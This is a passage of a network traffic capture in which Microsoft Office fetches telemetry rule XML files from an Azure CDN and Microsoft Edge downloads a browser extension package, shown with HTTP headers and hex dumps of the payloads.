2024-10-28 01:07:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: f29ba936-801e-0047-2ef2-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-r197bdfb6b4d9xksru4x6qbqr0000000048g000000008h18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49850	142.250.184.193	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:35 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3xARKTCG9npS6KjJmNlXjFIkvfK41-K9fS6G7w6g1_ptnYYPP9lMHFtV9AQ24kb3pdJqF-ZWBTEQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 27 Oct 2024 20:33:29 GMT Expires: Mon, 27 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 16446 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 01:07:35 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-28 01:07:35 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-16849878b78smng4k6nq15r6s400000005qg00000000sbp4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:35 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-r197bdfb6b4skzzvqpzzd3xetg00000003rg00000000458e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:35 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-16849878b78sx229w7g7at4nkg00000002n0000000004qk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:35 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-16849878b786fl7gm2qg4r5y7000000004f000000000r8t4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49877	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
